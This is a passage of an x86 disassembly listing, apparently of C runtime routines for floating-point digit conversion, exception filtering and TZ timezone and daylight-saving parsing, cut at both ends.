loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx

loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2

loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------

loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx

loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------

loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h

loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------

loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx

loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax

loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------

loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436610
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_436628
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------

loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx

loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]

loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A

loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------

loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]

loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------

loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h

loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4CDB88
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_4CDBB0, eax
		add	esp, 18h
		movsx	eax, byte_4CDB8A
		mov	dword_4CDBA8, eax
		pop	edi
		movsx	eax, word_4CDB88
		mov	dword_4CDBAC, eax
		mov	dword_4CDBB4, offset dword_4CDB8C
		mov	eax, offset dword_4CDBA8
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------

loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------

loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:00435FE8o
					; ___:00436AB0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------

loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_4CDBB8
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_4CDBB8
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------

loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax

loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0FB34E800h, 0A390021Bh, 4CDBB8h, 0B835FFC3h
					; DATA XREF: ___:00426024o
		dd 90004CDBh, 1BFB21E8h
; ---------------------------------------------------------------------------
		add	al, bl

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi

loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2840991h
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi

loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25D0BA7h
		nop
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi

loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC

loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_4CDC78, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_4CDC78

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4CDBC0, ebp
		mov	dword_4366E8, ebx
		mov	dword_4366D8, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_4CDBC8
		nop
		call	near ptr 2800000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_4CDBC8
		mov	ecx, dword_4CDC1C
		imul	eax, 3Ch
		cmp	word_4CDC0E, bp
		push	1
		pop	edx
		mov	dword_436640, eax
		mov	dword_4CDBC0, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_436640, eax

loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_4CDC62, bp
		jz	short loc_4209E9
		mov	eax, dword_4CDC70
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_436644, edx
		imul	eax, 3Ch
		mov	dword_436648, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------

loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_436644, ebp
		mov	dword_436648, ebp

loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4366CC
		push	ebx
		push	offset dword_4CDBCC
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_4366CC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------

loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_4366CC
		and	byte ptr [eax],	0

loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4366D0
		push	ebx
		push	offset dword_4CDC20
		push	edi
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_4366D0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------

loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_4CDC74
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6

loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_4CDC74
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4CDC74, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_4366CC
		call	sub_418C10
		mov	eax, off_4366CC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi

loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_436640, ecx

loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17

loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------

loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx

loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------

loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_436640
		add	ecx, eax
		mov	dword_436640, ecx

loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------

loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_436640, ecx

loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_436644, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_4366D0
		call	sub_418C10
		mov	eax, off_4366D0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------

loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_4366D0
		and	byte ptr [eax],	0

loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_436644, edi
		jnz	short loc_420BC0

loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------

loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4366D8
		jnz	short loc_420BDE
		cmp	eax, dword_4366E8
		jz	loc_420CE0

loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_4CDBC0, edi
		jz	loc_420CB6
		movzx	ecx, word_4CDC6E
		push	ecx
		cmp	word_4CDC60, di
		movzx	ecx, word_4CDC6C
		push	ecx
		movzx	ecx, word_4CDC6A
		push	ecx
		movzx	ecx, word_4CDC68
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_4CDC64
		push	edi
		push	ecx
		movzx	ecx, word_4CDC66
		push	ecx
		movzx	ecx, word_4CDC62
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------

loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_4CDC66
		push	ecx
		push	edi
		movzx	ecx, word_4CDC62
		push	edi
		push	ecx
		push	eax
		push	edi

loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_4CDC1A
		add	esp, 2Ch
		cmp	word_4CDC0C, di
		push	eax
		movzx	eax, word_4CDC18
		push	eax
		movzx	eax, word_4CDC16
		push	eax
		movzx	eax, word_4CDC14
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_4CDC10
		push	edi
		push	eax
		movzx	eax, word_4CDC12
		push	eax
		movzx	eax, word_4CDC0E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_4CDC12
		push	eax
		push	edi
		movzx	eax, word_4CDC0E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------

loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h

loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_4366DC
		mov	eax, dword_4366EC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24

loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx

loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9

loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_4366E0
		setnl	cl

loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------

loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4366F0
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_4366F0[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------

loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_436724[esi]

loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------

loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_4366F4[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------

loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_436728[esi]

loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------

loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_4366F0[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------

loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_436724[eax*4]

loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]

loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_4366DC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4366D8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366E0, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------

loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4366EC, ecx
		imul	eax, 3Ch
